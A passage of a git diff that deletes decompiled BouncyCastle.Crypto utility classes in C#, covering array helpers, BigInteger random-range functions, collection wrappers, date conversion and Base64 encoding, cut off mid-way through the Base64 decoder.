} - - public static int[] CopyOfRange(int[] data, int from, int to) - { - int length = GetLength(from, to); - int[] array = new int[length]; - Array.Copy(data, from, array, 0, System.Math.Min(length, data.Length - from)); - return array; - } - - public static long[] CopyOfRange(long[] data, int from, int to) - { - int length = GetLength(from, to); - long[] array = new long[length]; - Array.Copy(data, from, array, 0, System.Math.Min(length, data.Length - from)); - return array; - } - - public static BigInteger[] CopyOfRange(BigInteger[] data, int from, int to) - { - int length = GetLength(from, to); - BigInteger[] array = new BigInteger[length]; - Array.Copy(data, from, array, 0, System.Math.Min(length, data.Length - from)); - return array; - } - - private static int GetLength(int from, int to) - { - int num = to - from; - if (num < 0) - { - throw new ArgumentException(from + " > " + to); - } - return num; - } - - public static byte[] Append(byte[] a, byte b) - { - if (a == null) - { - return new byte[1] { b }; - } - int num = a.Length; - byte[] array = new byte[num + 1]; - Array.Copy(a, 0, array, 0, num); - array[num] = b; - return array; - } - - public static short[] Append(short[] a, short b) - { - if (a == null) - { - return new short[1] { b }; - } - int num = a.Length; - short[] array = new short[num + 1]; - Array.Copy(a, 0, array, 0, num); - array[num] = b; - return array; - } - - public static int[] Append(int[] a, int b) - { - if (a == null) - { - return new int[1] { b }; - } - int num = a.Length; - int[] array = new int[num + 1]; - Array.Copy(a, 0, array, 0, num); - array[num] = b; - return array; - } - - public static byte[] Concatenate(byte[] a, byte[] b) - { - if (a == null) - { - return Clone(b); - } - if (b == null) - { - return Clone(a); - } - byte[] array = new byte[a.Length + b.Length]; - Array.Copy(a, 0, array, 0, a.Length); - Array.Copy(b, 0, array, a.Length, b.Length); - return array; - } - - public static byte[] ConcatenateAll(params byte[][] vs) - { - byte[][] array = new byte[vs.Length][]; - int num = 0; - int num2 = 0; - foreach (byte[] array2 in vs) - { - if (array2 != null) - { - array[num++] = array2; - num2 += array2.Length; - } - } - byte[] array3 = new byte[num2]; - int num3 = 0; - for (int j = 0; j < num; j++) - { - byte[] array4 = array[j]; - Array.Copy(array4, 0, array3, num3, array4.Length); - num3 += array4.Length; - } - return array3; - } - - public static int[] Concatenate(int[] a, int[] b) - { - if (a == null) - { - return Clone(b); - } - if (b == null) - { - return Clone(a); - } - int[] array = new int[a.Length + b.Length]; - Array.Copy(a, 0, array, 0, a.Length); - Array.Copy(b, 0, array, a.Length, b.Length); - return array; - } - - public static byte[] Prepend(byte[] a, byte b) - { - if (a == null) - { - return new byte[1] { b }; - } - int num = a.Length; - byte[] array = new byte[num + 1]; - Array.Copy(a, 0, array, 1, num); - array[0] = b; - return array; - } - - public static short[] Prepend(short[] a, short b) - { - if (a == null) - { - return new short[1] { b }; - } - int num = a.Length; - short[] array = new short[num + 1]; - Array.Copy(a, 0, array, 1, num); - array[0] = b; - return array; - } - - public static int[] Prepend(int[] a, int b) - { - if (a == null) - { - return new int[1] { b }; - } - int num = a.Length; - int[] array = new int[num + 1]; - Array.Copy(a, 0, array, 1, num); - array[0] = b; - return array; - } - - public static byte[] Reverse(byte[] a) - { - if (a == null) - { - return null; - } - int num = 0; - int num2 = a.Length; - byte[] array = new byte[num2]; - while (--num2 >= 0) - { - array[num2] = a[num++]; - } - return array; - } - - public static int[] Reverse(int[] a) - { - if (a == null) - { - return null; - } - int num = 0; - int num2 = a.Length; - int[] array = new int[num2]; - while (--num2 >= 0) - { - array[num2] = a[num++]; - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/BigIntegers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/BigIntegers.cs deleted file mode 100644 index 099717e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/BigIntegers.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Utilities; - -public abstract class BigIntegers -{ - private const int MaxIterations = 1000; - - public static byte[] AsUnsignedByteArray(BigInteger n) - { - return n.ToByteArrayUnsigned(); - } - - public static byte[] AsUnsignedByteArray(int length, BigInteger n) - { - byte[] array = n.ToByteArrayUnsigned(); - if (array.Length > length) - { - throw new ArgumentException("standard length exceeded", "n"); - } - if (array.Length == length) - { - return array; - } - byte[] array2 = new byte[length]; - Array.Copy(array, 0, array2, array2.Length - array.Length, array.Length); - return array2; - } - - public static BigInteger CreateRandomBigInteger(int bitLength, SecureRandom secureRandom) - { - return new BigInteger(bitLength, secureRandom); - } - - public static BigInteger CreateRandomInRange(BigInteger min, BigInteger max, SecureRandom random) - { - int num = min.CompareTo(max); - if (num >= 0) - { - if (num > 0) - { - throw new ArgumentException("'min' may not be greater than 'max'"); - } - return min; - } - if (min.BitLength > max.BitLength / 2) - { - return CreateRandomInRange(BigInteger.Zero, max.Subtract(min), random).Add(min); - } - for (int i = 0; i < 1000; i++) - { - BigInteger bigInteger = new BigInteger(max.BitLength, random); - if (bigInteger.CompareTo(min) >= 0 && bigInteger.CompareTo(max) <= 0) - { - return bigInteger; - } - } - return new BigInteger(max.Subtract(min).BitLength - 1, random).Add(min); - } - - public static int GetUnsignedByteLength(BigInteger n) - { - return (n.BitLength + 7) / 8; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/CollectionUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/CollectionUtilities.cs deleted file mode 100644 index ec83dfd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/CollectionUtilities.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -using System.Collections; -using System.Text; - -namespace Org.BouncyCastle.Utilities.Collections; - -public abstract class CollectionUtilities -{ - public static void AddRange(IList to, IEnumerable range) - { - foreach (object item in range) - { - to.Add(item); - } - } - - public static bool CheckElementsAreOfType(IEnumerable e, Type t) - { - foreach (object item in e) - { - if (!t.IsInstanceOfType(item)) - { - return false; - } - } - return true; - } - - public static IDictionary ReadOnly(IDictionary d) - { - return new UnmodifiableDictionaryProxy(d); - } - - public static IList ReadOnly(IList l) - { - return new UnmodifiableListProxy(l); - } - - public static ISet ReadOnly(ISet s) - { - return new UnmodifiableSetProxy(s); - } - - public static object RequireNext(IEnumerator e) - { - if (!e.MoveNext()) - { - throw new InvalidOperationException(); - } - return e.Current; - } - - public static string ToString(IEnumerable c) - { - StringBuilder stringBuilder = new StringBuilder("["); - IEnumerator enumerator = c.GetEnumerator(); - if (enumerator.MoveNext()) - { - stringBuilder.Append(enumerator.Current.ToString()); - while (enumerator.MoveNext()) - { - stringBuilder.Append(", "); - stringBuilder.Append(enumerator.Current.ToString()); - } - } - stringBuilder.Append(']'); - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EmptyEnumerable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EmptyEnumerable.cs deleted file mode 100644 index d7e944b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EmptyEnumerable.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public sealed class EmptyEnumerable : IEnumerable -{ - public static readonly IEnumerable Instance = new EmptyEnumerable(); - - private EmptyEnumerable() - { - } - - public IEnumerator GetEnumerator() - { - return EmptyEnumerator.Instance; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EmptyEnumerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EmptyEnumerator.cs deleted file mode 100644 index 6f6a2c2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EmptyEnumerator.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public sealed class EmptyEnumerator : IEnumerator -{ - public static readonly IEnumerator Instance = new EmptyEnumerator(); - - public object Current - { - get - { - throw new InvalidOperationException("No elements"); - } - } - - private EmptyEnumerator() - { - } - - public bool MoveNext() - { - return false; - } - - public void Reset() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EnumerableProxy.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EnumerableProxy.cs deleted file mode 100644 index 314484d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/EnumerableProxy.cs +++ /dev/null @@ -1,23 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public sealed class EnumerableProxy : IEnumerable -{ - private readonly IEnumerable inner; - - public EnumerableProxy(IEnumerable inner) - { - if (inner == null) - { - throw new ArgumentNullException("inner"); - } - this.inner = inner; - } - - public IEnumerator GetEnumerator() - { - return inner.GetEnumerator(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/HashSet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/HashSet.cs deleted file mode 100644 index a2e0f3b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/HashSet.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public class HashSet : ISet, ICollection, IEnumerable -{ - private readonly IDictionary impl = Platform.CreateHashtable(); - - public virtual int Count => impl.Count; - - public virtual bool IsEmpty => impl.Count == 0; - - public virtual bool IsFixedSize => impl.IsFixedSize; - - public virtual bool IsReadOnly => impl.IsReadOnly; - - public virtual bool IsSynchronized => impl.IsSynchronized; - - public virtual object SyncRoot => impl.SyncRoot; - - public HashSet() - { - } - - public HashSet(IEnumerable s) - { - foreach (object item in s) - { - Add(item); - } - } - - public virtual void Add(object o) - { - impl[o] = null; - } - - public virtual void AddAll(IEnumerable e) - { - foreach (object item in e) - { - Add(item); - } - } - - public virtual void Clear() - { - impl.Clear(); - } - - public virtual bool Contains(object o) - { - return impl.Contains(o); - } - - public virtual void CopyTo(Array array, int index) - { - impl.Keys.CopyTo(array, index); - } - - public virtual IEnumerator GetEnumerator() - { - return impl.Keys.GetEnumerator(); - } - - public virtual void Remove(object o) - { - impl.Remove(o); - } - - public virtual void RemoveAll(IEnumerable e) - { - foreach (object item in e) - { - Remove(item); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/ISet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/ISet.cs deleted file mode 100644 index 4f1f6f8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/ISet.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public interface ISet : ICollection, IEnumerable -{ - bool IsEmpty { get; } - - bool IsFixedSize { get; } - - bool IsReadOnly { get; } - - void Add(object o); - - void AddAll(IEnumerable e); - - void Clear(); - - bool Contains(object o); - - void Remove(object o); - - void RemoveAll(IEnumerable e); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/LinkedDictionary.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/LinkedDictionary.cs deleted file mode 100644 index ec7a6c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/LinkedDictionary.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public class LinkedDictionary : IDictionary, ICollection, IEnumerable -{ - internal readonly IDictionary hash = Platform.CreateHashtable(); - - internal readonly IList keys = Platform.CreateArrayList(); - - public virtual int Count => hash.Count; - - public virtual bool IsFixedSize => false; - - public virtual bool IsReadOnly => false; - - public virtual bool IsSynchronized => false; - - public virtual object SyncRoot => false; - - public virtual ICollection Keys => Platform.CreateArrayList(keys); - - public virtual ICollection Values - { - get - { - IList list = Platform.CreateArrayList(keys.Count); - foreach (object key in keys) - { - list.Add(hash[key]); - } - return list; - } - } - - public virtual object this[object k] - { - get - { - return hash[k]; - } - set - { - if (!hash.Contains(k)) - { - keys.Add(k); - } - hash[k] = value; - } - } - - public virtual void Add(object k, object v) - { - hash.Add(k, v); - keys.Add(k); - } - - public virtual void Clear() - { - hash.Clear(); - keys.Clear(); - } - - public virtual bool Contains(object k) - { - return hash.Contains(k); - } - - public virtual void CopyTo(Array array, int index) - { - foreach (object key in keys) - { - array.SetValue(hash[key], index++); - } - } - - IEnumerator IEnumerable.GetEnumerator() - { - return GetEnumerator(); - } - - public virtual IDictionaryEnumerator GetEnumerator() - { - return new LinkedDictionaryEnumerator(this); - } - - public virtual void Remove(object k) - { - hash.Remove(k); - keys.Remove(k); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/LinkedDictionaryEnumerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/LinkedDictionaryEnumerator.cs deleted file mode 100644 index 339b966..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/LinkedDictionaryEnumerator.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -internal class LinkedDictionaryEnumerator : IDictionaryEnumerator, IEnumerator -{ - private readonly LinkedDictionary parent; - - private int pos = -1; - - public virtual object Current => Entry; - - public virtual DictionaryEntry Entry - { - get - { - object currentKey = CurrentKey; - return new DictionaryEntry(currentKey, parent.hash[currentKey]); - } - } - - public virtual object Key => CurrentKey; - - public virtual object Value => parent.hash[CurrentKey]; - - private object CurrentKey - { - get - { - if (pos < 0 || pos >= parent.keys.Count) - { - throw new InvalidOperationException(); - } - return parent.keys[pos]; - } - } - - internal LinkedDictionaryEnumerator(LinkedDictionary parent) - { - this.parent = parent; - } - - public virtual bool MoveNext() - { - if (pos >= parent.keys.Count) - { - return false; - } - return ++pos < parent.keys.Count; - } - - public virtual void Reset() - { - pos = -1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableDictionary.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableDictionary.cs deleted file mode 100644 index 36ffebc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableDictionary.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public abstract class UnmodifiableDictionary : IDictionary, ICollection, IEnumerable -{ - public abstract int Count { get; } - - public abstract bool IsFixedSize { get; } - - public virtual bool IsReadOnly => true; - - public abstract bool IsSynchronized { get; } - - public abstract object SyncRoot { get; } - - public abstract ICollection Keys { get; } - - public abstract ICollection Values { get; } - - public virtual object this[object k] - { - get - { - return GetValue(k); - } - set - { - throw new NotSupportedException(); - } - } - - public virtual void Add(object k, object v) - { - throw new NotSupportedException(); - } - - public virtual void Clear() - { - throw new NotSupportedException(); - } - - public abstract bool Contains(object k); - - public abstract void CopyTo(Array array, int index); - - IEnumerator IEnumerable.GetEnumerator() - { - return GetEnumerator(); - } - - public abstract IDictionaryEnumerator GetEnumerator(); - - public virtual void Remove(object k) - { - throw new NotSupportedException(); - } - - protected abstract object GetValue(object k); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableDictionaryProxy.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableDictionaryProxy.cs deleted file mode 100644 index aa5e706..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableDictionaryProxy.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public class UnmodifiableDictionaryProxy : UnmodifiableDictionary -{ - private readonly IDictionary d; - - public override int Count => d.Count; - - public override bool IsFixedSize => d.IsFixedSize; - - public override bool IsSynchronized => d.IsSynchronized; - - public override object SyncRoot => d.SyncRoot; - - public override ICollection Keys => d.Keys; - - public override ICollection Values => d.Values; - - public UnmodifiableDictionaryProxy(IDictionary d) - { - this.d = d; - } - - public override bool Contains(object k) - { - return d.Contains(k); - } - - public override void CopyTo(Array array, int index) - { - d.CopyTo(array, index); - } - - public override IDictionaryEnumerator GetEnumerator() - { - return d.GetEnumerator(); - } - - protected override object GetValue(object k) - { - return d[k]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableList.cs deleted file mode 100644 index d939811..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableList.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public abstract class UnmodifiableList : IList, ICollection, IEnumerable -{ - public abstract int Count { get; } - - public abstract bool IsFixedSize { get; } - - public virtual bool IsReadOnly => true; - - public abstract bool IsSynchronized { get; } - - public abstract object SyncRoot { get; } - - public virtual object this[int i] - { - get - { - return GetValue(i); - } - set - { - throw new NotSupportedException(); - } - } - - public virtual int Add(object o) - { - throw new NotSupportedException(); - } - - public virtual void Clear() - { - throw new NotSupportedException(); - } - - public abstract bool Contains(object o); - - public abstract void CopyTo(Array array, int index); - - public abstract IEnumerator GetEnumerator(); - - public abstract int IndexOf(object o); - - public virtual void Insert(int i, object o) - { - throw new NotSupportedException(); - } - - public virtual void Remove(object o) - { - throw new NotSupportedException(); - } - - public virtual void RemoveAt(int i) - { - throw new NotSupportedException(); - } - - protected abstract object GetValue(int i); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableListProxy.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableListProxy.cs deleted file mode 100644 index efc6fd1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableListProxy.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public class UnmodifiableListProxy : UnmodifiableList -{ - private readonly IList l; - - public override int Count => l.Count; - - public override bool IsFixedSize => l.IsFixedSize; - - public override bool IsSynchronized => l.IsSynchronized; - - public override object SyncRoot => l.SyncRoot; - - public UnmodifiableListProxy(IList l) - { - this.l = l; - } - - public override bool Contains(object o) - { - return l.Contains(o); - } - - public override void CopyTo(Array array, int index) - { - l.CopyTo(array, index); - } - - public override IEnumerator GetEnumerator() - { - return l.GetEnumerator(); - } - - public override int IndexOf(object o) - { - return l.IndexOf(o); - } - - protected override object GetValue(int i) - { - return l[i]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableSet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableSet.cs deleted file mode 100644 index aae76a0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableSet.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public abstract class UnmodifiableSet : ISet, ICollection, IEnumerable -{ - public abstract int Count { get; } - - public abstract bool IsEmpty { get; } - - public abstract bool IsFixedSize { get; } - - public virtual bool IsReadOnly => true; - - public abstract bool IsSynchronized { get; } - - public abstract object SyncRoot { get; } - - public virtual void Add(object o) - { - throw new NotSupportedException(); - } - - public virtual void AddAll(IEnumerable e) - { - throw new NotSupportedException(); - } - - public virtual void Clear() - { - throw new NotSupportedException(); - } - - public abstract bool Contains(object o); - - public abstract void CopyTo(Array array, int index); - - public abstract IEnumerator GetEnumerator(); - - public virtual void Remove(object o) - { - throw new NotSupportedException(); - } - - public virtual void RemoveAll(IEnumerable e) - { - throw new NotSupportedException(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableSetProxy.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableSetProxy.cs deleted file mode 100644 index 04a7c20..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Collections/UnmodifiableSetProxy.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Utilities.Collections; - -public class UnmodifiableSetProxy : UnmodifiableSet -{ - private readonly ISet s; - - public override int Count => s.Count; - - public override bool IsEmpty => s.IsEmpty; - - public override bool IsFixedSize => s.IsFixedSize; - - public override bool IsSynchronized => s.IsSynchronized; - - public override object SyncRoot => s.SyncRoot; - - public UnmodifiableSetProxy(ISet s) - { - this.s = s; - } - - public override bool Contains(object o) - { - return s.Contains(o); - } - - public override void CopyTo(Array array, int index) - { - s.CopyTo(array, index); - } - - public override IEnumerator GetEnumerator() - { - return s.GetEnumerator(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Date/DateTimeObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Date/DateTimeObject.cs deleted file mode 100644 index fc8ea27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Date/DateTimeObject.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Date; - -public sealed class DateTimeObject -{ - private readonly DateTime dt; - - public DateTime Value => dt; - - public DateTimeObject(DateTime dt) - { - this.dt = dt; - } - - public override string ToString() - { - DateTime dateTime = dt; - return dateTime.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Date/DateTimeUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Date/DateTimeUtilities.cs deleted file mode 100644 index 740ef04..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Date/DateTimeUtilities.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Date; - -public class DateTimeUtilities -{ - public static readonly DateTime UnixEpoch = new DateTime(1970, 1, 1); - - private DateTimeUtilities() - { - } - - public static long DateTimeToUnixMs(DateTime dateTime) - { - if (dateTime.CompareTo((object?)UnixEpoch) < 0) - { - throw new ArgumentException("DateTime value may not be before the epoch", "dateTime"); - } - long ticks = dateTime.Ticks; - DateTime unixEpoch = UnixEpoch; - return (ticks - unixEpoch.Ticks) / 10000; - } - - public static DateTime UnixMsToDateTime(long unixMs) - { - long num = unixMs * 10000; - DateTime unixEpoch = UnixEpoch; - return new DateTime(num + unixEpoch.Ticks); - } - - public static long CurrentUnixMs() - { - return DateTimeToUnixMs(DateTime.UtcNow); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Base64.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Base64.cs deleted file mode 100644 index a3b232c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Base64.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public sealed class Base64 -{ - private Base64() - { - } - - public static string ToBase64String(byte[] data) - { - return Convert.ToBase64String(data, 0, data.Length); - } - - public static string ToBase64String(byte[] data, int off, int length) - { - return Convert.ToBase64String(data, off, length); - } - - public static byte[] Encode(byte[] data) - { - return Encode(data, 0, data.Length); - } - - public static byte[] Encode(byte[] data, int off, int length) - { - string s = Convert.ToBase64String(data, off, length); - return Strings.ToAsciiByteArray(s); - } - - public static int Encode(byte[] data, Stream outStream) - { - byte[] array = Encode(data); - outStream.Write(array, 0, array.Length); - return array.Length; - } - - public static int Encode(byte[] data, int off, int length, Stream outStream) - { - byte[] array = Encode(data, off, length); - outStream.Write(array, 0, array.Length); - return array.Length; - } - - public static byte[] Decode(byte[] data) - { - string s = Strings.FromAsciiByteArray(data); - return Convert.FromBase64String(s); - } - - public static byte[] Decode(string data) - { - return Convert.FromBase64String(data); - } - - public static int Decode(string data, Stream outStream) - { - byte[] array = Decode(data); - outStream.Write(array, 0, array.Length); - return array.Length; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Base64Encoder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Base64Encoder.cs deleted file mode 100644 index 0900492..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Base64Encoder.cs +++ /dev/null @@ -1,212 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public class Base64Encoder : IEncoder -{ - protected readonly byte[] encodingTable = new byte[64] - { - 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, - 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, - 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, - 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, - 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, - 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, - 56, 57, 43, 47 - }; - - protected byte padding = 61; - - protected readonly byte[] decodingTable = new byte[128]; - - protected void InitialiseDecodingTable() - { - Arrays.Fill(decodingTable, byte.MaxValue); - for (int i = 0; i < encodingTable.Length; i++) - { - decodingTable[encodingTable[i]] = (byte)i; - } - } - - public Base64Encoder() - { - InitialiseDecodingTable(); - } - - public int Encode(byte[] data, int off, int length, Stream outStream) - { - int num = length % 3; - int num2 = length - num; - for (int i = off; i < off + num2; i += 3) - { - int num3 = data[i] & 0xFF; - int num4 = data[i + 1] & 0xFF; - int num5 = data[i + 2] & 0xFF; - outStream.WriteByte(encodingTable[(num3 >>> 2) & 0x3F]); - outStream.WriteByte(encodingTable[((num3 << 4) | (num4 >>> 4)) & 0x3F]); - outStream.WriteByte(encodingTable[((num4 << 2) | (num5 >>> 6)) & 0x3F]); - outStream.WriteByte(encodingTable[num5 & 0x3F]); - } - switch (num) - { - case 1: - { - int num6 = data[off + num2] & 0xFF; - int num8 = (num6 >> 2) & 0x3F; - int num9 = (num6 << 4) & 0x3F; - outStream.WriteByte(encodingTable[num8]); - outStream.WriteByte(encodingTable[num9]); - outStream.WriteByte(padding); - outStream.WriteByte(padding); - break; - } - case 2: - { - int num6 = data[off + num2] & 0xFF; - int num7 = data[off + num2 + 1] & 0xFF; - int num8 = (num6 >> 2) & 0x3F; - int num9 = ((num6 << 4) | (num7 >> 4)) & 0x3F; - int num10 = (num7 << 2) & 0x3F; - outStream.WriteByte(encodingTable[num8]); - outStream.WriteByte(encodingTable[num9]); - outStream.WriteByte(encodingTable[num10]); - outStream.WriteByte(padding); - break; - } - } - return num2 / 3 * 4 + ((num != 0) ? 4 : 0); - } - - private bool ignore(char c) - { - if (c != '\n' && c != '\r' && c != '\t') - { - return c == ' '; - } - return true; - } - - public int Decode(byte[] data, int off, int length, Stream outStream) - { - int num = 0; - int num2 = off + length; - while (num2 > off && ignore((char)data[num2 - 1])) - { - num2--; - } - int i = off; - int num3 = num2 - 4; - for (i = nextI(data, i, num3); i < num3; i = nextI(data, i, num3)) - { - byte b = decodingTable[data[i++]]; - i = nextI(data, i, num3); - byte b2 = decodingTable[data[i++]]; - i = nextI(data, i, num3); - byte b3 = decodingTable[data[i++]]; - i = nextI(data, i, num3); - byte b4 = decodingTable[data[i++]]; - if ((b | b2 | b3 | b4) >= 128) - { - throw new IOException("invalid characters encountered in base64 data"); - } - outStream.WriteByte((byte)((b << 2) | (b2 >> 4))); - outStream.WriteByte((byte)((b2 << 4) | (b3 >> 2))); - outStream.WriteByte((byte)((b3 << 6) | b4)); - num += 3; - } - return num + decodeLastBlock(outStream, (char)data[num2 - 4], (char)data[num2 - 3], (char)data[num2 - 2], (char)data[num2 - 1]); - } - - private int nextI(byte[] data, int i, int finish) - { - while (i < finish && ignore((char)data[i])) - { - i++; - } - return i; - } - - public int DecodeString(string data, Stream outStream) - { - int num = 0; - int num2 = data.Length; - while (num2 > 0 && ignore(data[num2 - 1])) - { - num2--; - } - int i = 0; - int num3 = num2 - 4; - for (i = nextI(data, i, num3); i < num3; i = nextI(data, i, num3)) - { - byte b = decodingTable[(uint)data[i++]]; - i = nextI(data, i, num3); - byte b2 = decodingTable[(uint)data[i++]]; - i = nextI(data, i, num3); - byte b3 = decodingTable[(uint)data[i++]]; - i = nextI(data, i, num3); - byte b4 = decodingTable[(uint)data[i++]]; - if ((b | b2 | b3 | b4) >= 128) - { - throw new IOException("invalid characters encountered in base64 data"); - } - outStream.WriteByte((byte)((b << 2) | (b2 >> 4))); - outStream.WriteByte((byte)((b2 << 4) | (b3 >> 2))); - outStream.WriteByte((byte)((b3 << 6) | b4)); - num += 3; - } - return num + decodeLastBlock(outStream, data[num2 - 4], data[num2 - 3], data[num2 - 2], data[num2 - 1]); - } - - private int decodeLastBlock(Stream outStream, char c1, char c2, char c3, char c4) - { - if (c3 == padding) - { - if (c4 != padding) - { - throw new IOException("invalid characters encountered at end of base64 data"); - } - byte b = 